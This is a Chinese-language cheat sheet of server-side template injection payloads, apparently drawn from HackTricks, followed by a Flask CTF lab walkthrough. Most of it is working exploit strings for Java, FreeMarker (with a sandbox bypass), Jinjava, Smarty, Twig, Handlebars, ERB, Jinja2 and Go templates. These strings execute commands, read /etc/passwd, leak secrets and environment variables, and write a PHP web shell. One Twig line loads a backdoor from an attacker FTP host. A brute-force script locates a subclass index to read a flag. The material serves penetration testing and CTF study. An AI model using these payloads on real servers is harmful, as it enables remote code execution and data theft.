https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
模板类型判断
可用判断语句${{<%[%'"}}%\
1 2 3 4 5 6
| {{7*7}} ${7*7} <%= 7*7 %> ${{7*7}} #{7*7} *{7*7}
|
payload
Java - Basic injection
1 2 3 4 5
| ${7*7} ${{7*7}} ${class.getClassLoader()} ${class.getResource("").getPath()} ${class.getResource("../../../../../index.htm").getContent()}
|
Java - Retrieve the system’s environment variables
1
| ${T(java.lang.System).getenv()}
|
Java - Retrieve /etc/passwd
1 2 3
| ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
FreeMarker (Java)
判断类型:
1 2 3 4 5
| {{7*7}} = {{7*7}} ${7*7} = 49
${7*'7'} Nothing ${foobar}
|
payload:
1 2 3 4 5
| <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} [#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')} ${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
|
Freemarker - Sandbox bypass(版本低于2.3.30)
1 2 3 4 5
| <#assign classloader=article.class.protectionDomain.classLoader> <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")> <#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)> <#assign ec=classloader.loadClass("freemarker.template.utility.Execute")> ${dwf.newInstance(ec,null)("id")}
|
Jinjava (Java)
1 2 3 4 5 6 7
| {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
Smarty (PHP)
1 2 3 4 5
| {$smarty.version} {php}echo `id`;{/php} //deprecated in smarty v3 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())} {system('ls')} // compatible v3 {system('cat index.php')} // compatible v3
|
Twig (PHP)
1 2 3 4 5
| {{7*7}} = 49 ${7*7} = ${7*7} {{7*'7'}} = 49 {{1/0}} = Error {{foobar}} Nothing
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| #Get Info {{_self}} #(Ref. to current application) {{_self.env}} {{dump(app)}} {{app.request.server.all|join(',')}}
#File read "{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}} {{['id']|filter('system')}} {{['cat\x20/etc/passwd']|filter('system')}} {{['cat$IFS/etc/passwd']|filter('system')}}
|
Handlebars (NodeJS)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| {{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').exec('whoami');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}}
URLencoded: %7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
|
ERB (Ruby)
1 2 3 4
| {{7*7}} = {{7*7}} ${7*7} = ${7*7} <%= 7*7 %> = 49 <%= foobar %> = Error
|
1 2 3 4 5 6 7 8 9
| <%= system("whoami") %> #Execute code <%= Dir.entries('/') %> #List folder <%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %> <%= `ls /` %> <%= IO.popen('ls /').readlines() %> <% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%> <% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
|
Tornado (Python)
1 2 3 4
| {{7*7}} = 49 ${7*7} = ${7*7} {{foobar}} = Error {{7*'7'}} = 7777777
|
Jinja2 (Python)
1 2 3 4 5 6 7 8
| {{7*7}} = Error ${7*7} = ${7*7} {{foobar}} Nothing {{4*4}}[[5*5]] {{7*'7'}} = 7777777 {{config}} {{config.items()}} {{settings.SECRET_KEY}}
|
1 2 3 4 5 6 7 8
| {% extends "layout.html" %} {% block body %} <ul> {% for user in users %} <li><a href="{{ user.url }}">{{ user.username }}</a></li> {% endfor %} </ul> {% endblock %}
|
xss相关
Go语言允许定义一整个模板且之后使用,可能让payload变成这样:{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}
RCE相关
在Go语言中可以以类似{{ .System "ls" }}
使用命令
需要源代码类似:
1 2 3 4
| func (p Person) Secret (test string) string { out, _ := exec.Command(test).CombinedOutput() return string(out) }
|
ssti-lab(flask)构造payload相关
魔法方法
__class__
用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。 是类的一个内置属性,表示类的类型; 也是类的实例的属性,表示实例对象的类。
例:[].__class__
__bases__
用来查看类的基类,也可以使用数组索引来查看特定位置的值。 通过该属性可以查看该类的所有直接父类,该属性返回所有直接父类组成的元组。
例:[].__class__.__bases__
__mro__
获取基类,包含了当前类对象所有继承的基类
例:
''.__class__.__mro__
''.__class__.__mro__[-1]
__subclasses__()
获取当前类的所有子类,即Object的子类。通过拿到Object的子类,使用其中的一些函数,进行文件读取或者命令执行。
例:''.__class__.__mro__[-1].__subclasses__()
__init__
重载子类,获取子类初始化的属性
__globals__
函数会以字典的形式返回当前位置的全部全局变量
例:os._wrap_close.__init__.__globals__
可以获取到os中的一些函数,进行文件读取。
lipsum
可以用于获得__builtins__
,lipsum.__globals__
有os模块
{{(lipsum|string|list)}}
能获得字符位置
解题示例
一句话形式
1 2 3 4
| {% for c in ''.__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('dir').read()")}}//依不同题目替换此行 {% endif %}{% endfor %}
|
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import requests
url = "http://127.0.0.1:5000/level/1"
for i in range(300): data = {"code": '{{"".__class__.__base__.__subclasses__()['+ str(i) +']}}'} try: response = requests.post(url,data=data) if response.status_code == 200: if "_wrap_close" in response.text: print(i,"----->",response.text) break except : pass
|
构造出来的payload示例:
1
| {{''.__class__.__base__.__subclasses__()[147].__init__.__globals__['popen']('type flag').read()}}
|